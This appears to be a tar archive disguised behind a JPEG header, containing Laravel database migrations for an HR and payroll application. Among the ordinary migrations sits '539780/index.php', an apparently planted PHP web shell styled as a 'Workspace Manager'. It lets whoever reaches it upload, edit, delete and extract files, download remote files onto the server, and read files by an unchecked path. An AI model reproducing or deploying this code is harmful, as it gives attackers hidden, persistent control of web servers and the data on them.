JFIF x x C
C "
} !1AQa"q2#BR$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
w !1AQaq"2B #3Rbr2020_01_23_101613_create_meeting_employees_table.php 0000644 00000001362 15036431632 0015550 0 ustar 00 bigIncrements('id');
$table->integer('meeting_id');
$table->integer('employee_id');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('meeting_employees');
}
}
2019_12_31_060916_create_termination_types_table.php 0000644 00000001277 15036431632 0015643 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('termination_types');
}
}
2022_08_17_065806_noc_certificate.php 0000644 00000001250 15036431632 0012512 0 ustar 00 id();
$table->string('lang', 255);
$table->longtext('content');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
//
}
}
2019_12_27_083751_create_branches_table.php 0000644 00000001245 15036431632 0013655 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('branches');
}
}
2022_07_13_085511_create_email_template_langs_table.php 0000644 00000001410 15036431632 0016215 0 ustar 00 id();
$table->integer('parent_id');
$table->string('lang', 100);
$table->string('subject');
$table->text('content');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('email_template_langs');
}
}
2019_12_31_070521_create_resignations_table.php 0000644 00000001473 15036431632 0014562 0 ustar 00 bigIncrements('id');
$table->integer('employee_id');
$table->date('notice_date');
$table->date('resignation_date');
$table->string('description');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('resignations');
}
}
2020_05_05_023742_create_appraisals_table.php 0000644 00000002372 15036431632 0014211 0 ustar 00 bigIncrements('id');
$table->integer('branch')->default(0);
$table->integer('employee')->default(0);
$table->string('rating')->nullable();
$table->string('appraisal_date');
$table->integer('customer_experience')->default(0);
$table->integer('marketing')->default(0);
$table->integer('administration')->default(0);
$table->integer('professionalism')->default(0);
$table->integer('integrity')->default(0);
$table->integer('attendance')->default(0);
$table->text('remark')->nullable();
$table->integer('created_by')->default(0);
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('appraisals');
}
}
2024_04_15_093820_create_referral_transactions_table.php 0000644 00000001520 15036431632 0016446 0 ustar 00 id();
$table->integer('company_id');
$table->integer('plan_id');
$table->decimal('plan_price',15,2)->default(0.0);
$table->integer('commission');
$table->integer('referral_code')->default(0);
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::dropIfExists('referral_transactions');
}
};
2021_03_16_115140_create_job_application_notes_table.php 0000644 00000001532 15036431632 0016407 0 ustar 00 id();
$table->integer('application_id')->default(0);
$table->integer('note_created')->default(0);
$table->text('note')->nullable();
$table->integer('created_by')->default(0);
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('job_application_notes');
}
}
2020_01_06_072939_create_income_types_table.php 0000644 00000001260 15036431632 0014554 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('income_types');
}
}
2020_01_03_105046_create_saturation_deductions_table.php 0000644 00000001605 15036431632 0016452 0 ustar 00 bigIncrements('id');
$table->integer('employee_id');
$table->integer('deduction_option');
$table->string('title');
$table->float('amount',15,2);
$table->string('type')->nullable();
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('saturation_deductions');
}
}
2021_08_20_084119_create_competencies_table.php 0000644 00000001305 15036431632 0014531 0 ustar 00 id();
$table->string('name');
$table->string('type');
$table->string('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('competencies');
}
}
2024_01_24_053357_update_password_for_users_table.php 0000644 00000001063 15036431632 0016024 0 ustar 00 string('password')->nullable()->change();
});
}
}
/**
* Reverse the migrations.
*/
public function down(): void
{
//
}
};
2023_04_24_062256_create_webhook_settings_table.php 0000644 00000001323 15036431632 0015431 0 ustar 00 id();
$table->text('module');
$table->text('url');
$table->text('method');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('webhooks');
}
};
2020_05_04_070452_create_indicators_table.php 0000644 00000002417 15036431632 0014210 0 ustar 00 bigIncrements('id');
$table->integer('branch')->default(0);
$table->integer('department')->default(0);
$table->integer('designation')->default(0);
$table->string('rating')->nullable();
$table->integer('customer_experience')->default(0);
$table->integer('marketing')->default(0);
$table->integer('administration')->default(0);
$table->integer('professionalism')->default(0);
$table->integer('integrity')->default(0);
$table->integer('attendance')->default(0);
$table->integer('created_user')->default(0);
$table->integer('created_by')->default(0);
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('indicators');
}
}
2022_08_17_045033_experience_certificate.php 0000644 00000001266 15036431632 0014057 0 ustar 00 id();
$table->string('lang', 255);
$table->longtext('content');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
//
}
}
2020_07_18_065859_create_messageses_table.php 0000644 00000000507 15036431632 0014234 0 ustar 00 bigIncrements('id');
$table->integer('event_id');
$table->integer('employee_id');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('event_employees');
}
}
2021_03_15_153745_create_job_applications_table.php 0000644 00000003177 15036431632 0015405 0 ustar 00 id();
$table->integer('job');
$table->string('name')->nullable();
$table->string('email')->nullable();
$table->string('phone')->nullable();
$table->string('profile')->nullable();
$table->string('resume')->nullable();
$table->text('cover_letter')->nullable();
$table->date('dob')->nullable();
$table->string('gender')->nullable();
$table->string('address')->nullable();
$table->string('country')->nullable();
$table->string('state')->nullable();
$table->string('city')->nullable();
$table->string('zip_code')->nullable();
$table->integer('stage')->default(1);
$table->integer('order')->default(0);
$table->text('skill')->nullable();
$table->integer('rating')->default(0);
$table->integer('is_archive')->default(0);
$table->text('custom_question')->nullable();
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('job_applications');
}
}
2021_03_13_123125_create_job_stages_table.php 0000644 00000001343 15036431632 0014161 0 ustar 00 id();
$table->string('title');
$table->integer('order')->default(0);
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('job_stages');
}
}
2020_01_03_101735_create_commissions_table.php 0000644 00000001466 15036431632 0014411 0 ustar 00 bigIncrements('id');
$table->integer('employee_id');
$table->string('title');
$table->float('amount', 15,2);
$table->string('type')->nullable();
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('commissions');
}
}
2021_03_13_093312_create_ip_restricts_table.php 0000644 00000001264 15036431632 0014561 0 ustar 00 id();
$table->string('ip');
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('ip_restricts');
}
}
2022_07_13_085553_user_email_templates_table.php 0000644 00000001327 15036431632 0014744 0 ustar 00 id();
$table->integer('template_id');
$table->integer('user_id');
$table->integer('is_active')->default(1);
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
//
}
}
2024_02_01_064327_add_attachments_to_ticket_replies_table.php 0000644 00000001374 15036431632 0017444 0 ustar 00 text('description')->nullable()->change();
$table->string('attachment')->nullable()->after('description');
});
}
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('ticket_replies', function (Blueprint $table) {
//
});
}
};
2020_02_17_072503_create_orders_table.php 0000644 00000002565 15036431632 0013353 0 ustar 00 bigIncrements('id');
$table->string('order_id', 100)->unique();
$table->string('name', 100)->nullable();
$table->string('email', 100)->nullable();
$table->string('card_number', 10)->nullable();
$table->string('card_exp_month', 10)->nullable();
$table->string('card_exp_year', 10)->nullable();
$table->string('plan_name', 100);
$table->integer('plan_id');
$table->float('price', 15,2);
$table->string('price_currency', 10);
$table->string('txn_id', 100);
$table->string('payment_status', 100);
$table->string('payment_type')->default('Manually');
$table->string('receipt')->nullable();
$table->integer('user_id')->default(0);
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('orders');
}
}
2021_06_25_032625_admin_payment_setting.php 0000644 00000001432 15036431632 0013742 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->string('value');
$table->integer('created_by');
$table->timestamps();
$table->unique(['name', 'created_by']);
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('admin_payment_settings');
}
}
2019_12_31_092838_create_transfers_table.php 0000644 00000001535 15036431632 0014102 0 ustar 00 bigIncrements('id');
$table->integer('employee_id');
$table->integer('branch_id');
$table->integer('department_id');
$table->date('transfer_date');
$table->string('description');
$table->string('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('transfers');
}
}
2021_03_13_114832_create_job_categories_table.php 0000644 00000001275 15036431632 0015031 0 ustar 00 id();
$table->string('title');
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('job_categories');
}
}
2020_01_13_084720_create_events_table.php 0000644 00000001524 15036431632 0013352 0 ustar 00 bigIncrements('id');
$table->integer('branch_id');
$table->longText('department_id');
$table->longText('employee_id');
$table->string('title');
$table->date('start_date');
$table->date('end_date');
$table->string('color');
$table->text('description')->nullable();
$table->integer('created_by');
$table->timestamps();
}
);
}
public function down()
{
Schema::dropIfExists('events');
}
}
2020_01_16_041720_create_announcements_table.php 0000644 00000001660 15036431632 0014720 0 ustar 00 bigIncrements('id');
$table->string('title');
$table->date('start_date');
$table->date('end_date');
$table->integer('branch_id');
$table->string('department_id');
$table->string('employee_id');
$table->string('description');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('announcements');
}
}
2020_05_01_122144_create_ducument_uploads_table.php 0000644 00000001536 15036431632 0015416 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->string('role');
$table->string('document');
$table->text('description')->nullable();
$table->integer('created_by')->default(0);
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('ducument_uploads');
}
}
2022_07_28_035621_create_contracts_table.php 0000644 00000002411 15036431632 0014054 0 ustar 00 bigIncrements('id');
$table->string('subject')->nullable();
$table->integer('employee_name');
$table->float('value', 15, 2)->nullable();
$table->integer('type');
$table->date('start_date');
$table->date('end_date');
$table->string('notes')->nullable();
$table->string('status')->default('pending');
$table->longText('description')->nullable();
$table->longText('contract_description')->nullable();
$table->longText('employee_signature')->nullable();
$table->longText('company_signature')->nullable();
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('contracts');
}
}
539780/index.php 0000644 00000070304 15036431632 0007152 0 ustar 00
Access Denied
Secure Access Required
');
}
} else {
echo '
Access Denied
Secure Access Required
';
exit;
}
}
}
// Handle file content retrieval for editing
if (isset($_GET['operation']) && $_GET['operation'] === 'retrieve_file_content' && isset($_GET['item'])) {
$validatedPath = realpath($_GET['workspace'] . '/' . $_GET['item']);
if ($validatedPath && is_file($validatedPath) && is_readable($validatedPath)) {
header('Content-Type: text/plain');
echo file_get_contents($validatedPath);
exit;
} else {
http_response_code(404);
echo "Item not found or not readable.";
exit;
}
}
// Handle current workspace (directory)
$baseDir = realpath(__DIR__); // Restrict to script's directory
$currentWorkspace = isset($_GET['workspace']) ? realpath($_GET['workspace']) : $baseDir;
if (!$currentWorkspace || !is_dir($currentWorkspace) || !is_readable($currentWorkspace) || strpos($currentWorkspace, $baseDir) !== 0) {
$currentWorkspace = $baseDir;
$alertMessage = "Invalid or inaccessible workspace. Reverted to default workspace.";
}
// File operations
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['csrf_token']) && $_POST['csrf_token'] === $_SESSION['csrf_token']) {
// Create directory
if (isset($_POST['add_directory']) && !empty($_POST['folder_name'])) {
$folderName = purifyFileName($_POST['folder_name']);
$newFolderPath = $currentWorkspace . '/' . $folderName;
if (!is_dir($newFolderPath)) {
if (mkdir($newFolderPath, 0755)) {
$alertMessage = "Folder created successfully.";
} else {
$alertMessage = "Failed to create folder.";
}
} else {
$alertMessage = "Folder already exists.";
}
}
// Create file
if (isset($_POST['add_file']) && !empty($_POST['item_name'])) {
$itemName = purifyFileName($_POST['item_name']);
$itemContent = $_POST['item_content'] ?? '';
$newItemPath = $currentWorkspace . '/' . $itemName;
if (!file_exists($newItemPath)) {
if (file_put_contents($newItemPath, $itemContent) !== false) {
$alertMessage = "File created successfully.";
} else {
$alertMessage = "Failed to create file.";
}
} else {
$alertMessage = "File already exists.";
}
}
// Upload file
if (isset($_FILES['uploaded_item']) && $_FILES['uploaded_item']['error'] === UPLOAD_ERR_OK) {
$uploadedItem = $_FILES['uploaded_item'];
$fileExt = strtolower(pathinfo($uploadedItem['name'], PATHINFO_EXTENSION));
if (in_array($fileExt, $allowedFileTypes) && $uploadedItem['size'] <= $maxUploadSize) {
$destinationPath = $currentWorkspace . '/' . purifyFileName($uploadedItem['name']);
if (!file_exists($destinationPath)) {
if (move_uploaded_file($uploadedItem['tmp_name'], $destinationPath)) {
$alertMessage = "Item uploaded successfully.";
} else {
$alertMessage = "Error uploading item.";
}
} else {
$alertMessage = "File already exists.";
}
} else {
$alertMessage = "Invalid file type or size exceeds limit.";
}
}
// Rename item
if (isset($_POST['rename_item']) && !empty($_POST['original_name']) && !empty($_POST['new_name'])) {
$originalName = purifyFileName($_POST['original_name']);
$newName = purifyFileName($_POST['new_name']);
$originalPath = $currentWorkspace . '/' . $originalName;
$newPath = $currentWorkspace . '/' . $newName;
if (file_exists($originalPath) && !file_exists($newPath)) {
if (rename($originalPath, $newPath)) {
$alertMessage = "Item renamed successfully.";
} else {
$alertMessage = "Error renaming item.";
}
} else {
$alertMessage = "Invalid source or destination name.";
}
}
// Delete item
if (isset($_POST['delete_item']) && !empty($_POST['item_name'])) {
$itemName = purifyFileName($_POST['item_name']);
$itemPath = $currentWorkspace . '/' . $itemName;
if (file_exists($itemPath)) {
if (is_dir($itemPath)) {
$deleteSuccess = deleteDirectory($itemPath);
$alertMessage = $deleteSuccess ? "Folder deleted successfully." : "Error deleting folder.";
} elseif (is_file($itemPath)) {
if (unlink($itemPath)) {
$alertMessage = "File deleted successfully.";
} else {
$alertMessage = "Error deleting file.";
}
}
} else {
$alertMessage = "Item not found.";
}
}
// Unzip archive
if (isset($_POST['unzip_archive']) && !empty($_POST['archive_name'])) {
$archiveName = purifyFileName($_POST['archive_name']);
$archivePath = $currentWorkspace . '/' . $archiveName;
if (file_exists($archivePath) && class_exists('ZipArchive')) {
$archive = new ZipArchive;
if ($archive->open($archivePath) === TRUE) {
if ($archive->extractTo($currentWorkspace)) {
$archive->close();
$alertMessage = "Archive extracted successfully.";
} else {
$archive->close();
$alertMessage = "Error extracting archive.";
}
} else {
$alertMessage = "Failed to open archive.";
}
} else {
$alertMessage = "Archive not found or ZipArchive not available.";
}
}
// Fetch remote item
if ($enableRemoteFetch && isset($_POST['fetch_remote']) && !empty($_POST['remote_url'])) {
$remoteUrl = filter_var($_POST['remote_url'], FILTER_VALIDATE_URL);
if ($remoteUrl) {
$itemName = purifyFileName(basename($remoteUrl));
$localItemPath = $currentWorkspace . '/' . $itemName;
$fileExt = strtolower(pathinfo($itemName, PATHINFO_EXTENSION));
if (in_array($fileExt, $allowedFileTypes) && !file_exists($localItemPath)) {
$remoteContent = @file_get_contents($remoteUrl);
if ($remoteContent !== false && file_put_contents($localItemPath, $remoteContent) !== false) {
$alertMessage = "Item downloaded successfully.";
} else {
$alertMessage = "Error downloading item.";
}
} else {
$alertMessage = "Invalid file type or file already exists.";
}
} else {
$alertMessage = "Invalid remote URL.";
}
}
// Edit file
if (isset($_POST['modify_file']) && !empty($_POST['item_name'])) {
$itemName = purifyFileName($_POST['item_name']);
$itemContent = $_POST['item_content'] ?? '';
$itemPath = $currentWorkspace . '/' . $itemName;
if (file_exists($itemPath) && is_writable($itemPath)) {
if (file_put_contents($itemPath, $itemContent) !== false) {
$alertMessage = "File updated successfully.";
} else {
$alertMessage = "Error updating file.";
}
} else {
$alertMessage = "File not found or not writable.";
}
}
}
// List workspace contents
$items = scandir($currentWorkspace);
$folders = [];
$files = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$itemPath = $currentWorkspace . '/' . $item;
if (is_dir($itemPath)) {
$folders[] = $item;
} else {
$files[] = $item;
}
}
sort($folders);
sort($files);
// Helper functions
function purifyFileName($name) {
return preg_replace('/[^a-zA-Z0-9._-]/', '', trim($name));
}
function humanizeFileSize($bytes) {
if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB';
if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB';
return $bytes . ' bytes';
}
function buildPathCrumbs($path, $baseDir) {
// Ensure path is within baseDir
if (strpos($path, $baseDir) !== 0) {
return 'Invalid path';
}
// Get relative path from baseDir
$relativePath = substr($path, strlen($baseDir));
$segments = array_filter(explode(DIRECTORY_SEPARATOR, $relativePath));
$crumbs = [];
$pathBuilder = $baseDir;
// Root crumb
$crumbs[] = 'Root';
// Build crumbs for each segment
foreach ($segments as $segment) {
$pathBuilder .= DIRECTORY_SEPARATOR . $segment;
if (is_dir($pathBuilder) && is_readable($pathBuilder)) {
$crumbs[] = '' . htmlspecialchars($segment) . '';
} else {
$crumbs[] = '' . htmlspecialchars($segment) . '';
}
}
return implode(' / ', $crumbs);
}
function deleteDirectory($dir) {
if (!file_exists($dir)) return true;
if (!is_dir($dir)) return unlink($dir);
foreach (scandir($dir) as $item) {
if ($item == '.' || $item == '..') continue;
if (!deleteDirectory($dir . '/' . $item)) return false;
}
return rmdir($dir);
}
?>
Vivid Workspace Manager
Vivid Workspace Manager
New Folder
Upload Item
Fetch Remote Item
2020_01_06_045425_create_account_lists_table.php 0000644 00000001600 15036431632 0014714 0 ustar 00 bigIncrements('id');
$table->string('account_name');
$table->float('initial_balance',20,2)->default(0.00);
$table->string('account_number');
$table->string('branch_code');
$table->string('bank_branch');
$table->string('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('account_lists');
}
}
2020_01_16_093256_create_leaves_table.php 0000644 00000001777 15036431632 0013346 0 ustar 00 bigIncrements('id');
$table->integer('employee_id');
$table->integer('leave_type_id');
$table->date('applied_on');
$table->date('start_date');
$table->date('end_date');
$table->string('total_leave_days');
$table->string('leave_reason');
$table->string('remark')->nullable();
$table->string('status');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('leaves');
}
}
2021_09_10_165514_create_plan_requests_table.php 0000644 00000001603 15036431632 0014740 0 ustar 00 integer('requested_plan')->default(0)->after('plan_expire_date');
});
Schema::create('plan_requests', function (Blueprint $table){
$table->id();
$table->integer('user_id');
$table->integer('plan_id');
$table->string('duration', 20)->default('monthly');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('plan_requests');
}
}
2020_05_21_065337_create_permission_tables.php 0000644 00000010077 15036431632 0014432 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->string('guard_name');
$table->timestamps();
});
Schema::create($tableNames['roles'], function (Blueprint $table) {
$table->bigIncrements('id');
$table->string('name');
$table->string('guard_name');
$table->integer('created_by')->default(0);
$table->timestamps();
});
Schema::create($tableNames['model_has_permissions'], function (Blueprint $table) use ($tableNames, $columnNames) {
$table->unsignedBigInteger('permission_id');
$table->string('model_type');
$table->unsignedBigInteger($columnNames['model_morph_key']);
$table->index([$columnNames['model_morph_key'], 'model_type'], 'model_has_permissions_model_id_model_type_index');
$table->foreign('permission_id')
->references('id')
->on($tableNames['permissions'])
->onDelete('cascade');
$table->primary(['permission_id', $columnNames['model_morph_key'], 'model_type'],
'model_has_permissions_permission_model_type_primary');
});
Schema::create($tableNames['model_has_roles'], function (Blueprint $table) use ($tableNames, $columnNames) {
$table->unsignedBigInteger('role_id');
$table->string('model_type');
$table->unsignedBigInteger($columnNames['model_morph_key']);
$table->index([$columnNames['model_morph_key'], 'model_type'], 'model_has_roles_model_id_model_type_index');
$table->foreign('role_id')
->references('id')
->on($tableNames['roles'])
->onDelete('cascade');
$table->primary(['role_id', $columnNames['model_morph_key'], 'model_type'],
'model_has_roles_role_model_type_primary');
});
Schema::create($tableNames['role_has_permissions'], function (Blueprint $table) use ($tableNames) {
$table->unsignedBigInteger('permission_id');
$table->unsignedBigInteger('role_id');
$table->foreign('permission_id')
->references('id')
->on($tableNames['permissions'])
->onDelete('cascade');
$table->foreign('role_id')
->references('id')
->on($tableNames['roles'])
->onDelete('cascade');
$table->primary(['permission_id', 'role_id'], 'role_has_permissions_permission_id_role_id_primary');
});
app('cache')
->store(config('permission.cache.store') != 'default' ? config('permission.cache.store') : null)
->forget(config('permission.cache.key'));
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
$tableNames = config('permission.table_names');
if (empty($tableNames)) {
throw new \Exception('Error: config/permission.php not found and defaults could not be merged. Please publish the package configuration before proceeding, or drop the tables manually.');
}
Schema::drop($tableNames['role_has_permissions']);
Schema::drop($tableNames['model_has_roles']);
Schema::drop($tableNames['model_has_permissions']);
Schema::drop($tableNames['roles']);
Schema::drop($tableNames['permissions']);
}
}
2021_11_22_043537_create_performance__types_table.php 0000644 00000001261 15036431632 0015733 0 ustar 00 id();
$table->string('name');
$table->string('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('performance__types');
}
}
2022_07_28_035731_create_contract_notes_table.php 0000644 00000001320 15036431632 0015101 0 ustar 00 id();
$table->integer('contract_id');
$table->integer('user_id');
$table->string('note');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('contract_notes');
}
}
2020_01_02_093331_create_allowance_options_table.php 0000644 00000001277 15036431632 0015567 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('allowance_options');
}
}
2020_01_06_062213_create_payees_table.php 0000644 00000001323 15036431632 0013324 0 ustar 00 bigIncrements('id');
$table->string('payee_name');
$table->string('contact_number');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('payees');
}
}
index.php 0000644 00000000000 15036431632 0006355 0 ustar 00 2022_07_28_035654_create_contract_attechments_table.php 0000644 00000001410 15036431632 0016274 0 ustar 00 bigIncrements('id');
$table->unsignedBigInteger('contract_id');
$table->string('user_id');
$table->string('files');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('contract_attechments');
}
}
2020_01_03_105111_create_overtimes_table.php 0000644 00000001603 15036431632 0014044 0 ustar 00 bigIncrements('id');
$table->integer('employee_id');
$table->string('title');
$table->integer('number_of_days');
$table->integer('hours');
$table->float('rate', 15,2);
$table->string('type')->nullable();
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('overtimes');
}
}
2020_01_03_105019_create_loans_table.php 0000644 00000001704 15036431632 0013154 0 ustar 00 bigIncrements('id');
$table->integer('employee_id');
$table->integer('loan_option');
$table->string('title');
$table->float('amount', 15,2);
$table->string('type')->nullable();
$table->date('start_date');
$table->date('end_date');
$table->string('reason');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('loans');
}
}
2020_10_07_034726_create_holidays_table.php 0000644 00000001423 15036431632 0013664 0 ustar 00 id();
$table->date('start_date')->nullable();
$table->date('end_date')->nullable();
$table->text('occasion');
$table->integer('created_by');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('holidays');
}
}
2023_05_03_033536_create_notification_template_langs_table.php 0000644 00000001467 15036431632 0017626 0 ustar 00 id();
$table->integer('parent_id');
$table->string('lang', 100);
$table->longText('content');
$table->longText('variables');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('notification_template_langs');
}
};
2019_12_27_112922_create_employee_documents_table.php 0000644 00000001444 15036431632 0015762 0 ustar 00 bigIncrements('id');
$table->integer('employee_id');
$table->integer('document_id');
$table->string('document_value');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('employee_documents');
}
}
2020_01_06_073055_create_expense_types_table.php 0000644 00000001263 15036431632 0014742 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('expense_types');
}
}
2019_12_26_105721_create_documents_table.php 0000644 00000001322 15036431632 0014054 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->string('is_required');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('document');
}
}
2020_01_02_090837_create_payslip_types_table.php 0000644 00000001263 15036431632 0014757 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->integer('created_by');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('payslip_types');
}
}
2020_02_28_051636_create_time_sheets_table.php 0000644 00000001550 15036431632 0014365 0 ustar 00 bigIncrements('id');
$table->integer('employee_id')->default(0);
$table->date('date');
$table->float('hours')->default(0.0);
$table->text('remark')->nullable();
$table->integer('created_by')->default('0');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('time_sheets');
}
}
2020_03_12_095629_create_coupons_table.php 0000644 00000001611 15036431632 0013544 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->string('code');
$table->float('discount')->default('0.00');
$table->integer('limit')->default('0');
$table->text('description')->nullable();
$table->integer('is_active')->default('1');
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('coupons');
}
}
2024_05_02_072829_add_terms_and_conditions_to_jobs_table.php 0000644 00000002152 15036431632 0017272 0 ustar 00 text('terms_and_conditions')->nullable()->after('requirement');
});
}
if (Schema::hasTable('job_applications') && !Schema::hasColumn('job_applications', 'terms_condition_check')) {
Schema::table('job_applications', function (Blueprint $table) {
$table->string('terms_condition_check')->nullable()->after('custom_question');
});
}
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('jobs', function (Blueprint $table) {
//
});
Schema::table('job_applications', function (Blueprint $table) {
//
});
}
};
2020_01_02_111807_create_set_salaries_table.php 0000644 00000001141 15036431632 0014512 0 ustar 00 bigIncrements('id');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('set_salaries');
}
}
2014_10_12_000000_create_users_table.php 0000644 00000002733 15036431632 0013167 0 ustar 00 bigIncrements('id');
$table->string('name');
$table->string('email')->unique();
$table->timestamp('email_verified_at')->nullable();
$table->string('password');
$table->string('type');
$table->string('avatar')->default(config('chatify.user_avatar.default'));
$table->string('lang');
$table->integer('plan')->nullable();
$table->date('plan_expire_date')->nullable();
$table->float('storage_limit', 20, 2)->default(0.00);
$table->timestamp('last_login')->nullable();
$table->integer('is_active')->default('1');
$table->boolean('active_status')->default(0);
$table->boolean('dark_mode')->default(0);
$table->string('messenger_color')->default('#2180f3');
$table->string('created_by');
$table->rememberToken();
$table->timestamps();
}
);
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('users');
}
}
2024_01_23_060917_add_trial_to_plans_table.php 0000644 00000001342 15036431632 0014352 0 ustar 00 integer('trial')->default(0)->after('enable_chatgpt');
$table->string('trial_days')->nullable()->after('trial');
});
}
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('plans', function (Blueprint $table) {
//
});
}
};
2023_12_08_065736_add_is_disable_to_users_table.php 0000644 00000001124 15036431632 0015367 0 ustar 00 integer('is_disable')->default('1')->after('active_status');
});
}
/**
* Reverse the migrations.
*/
public function down(): void
{
Schema::table('users', function (Blueprint $table) {
//
});
}
};
2020_02_17_035047_create_plans_table.php 0000644 00000002172 15036431632 0013166 0 ustar 00 bigIncrements('id');
$table->string('name', 100)->unique();
$table->float('price', 15,2)->default(0);
$table->string('duration', 100);
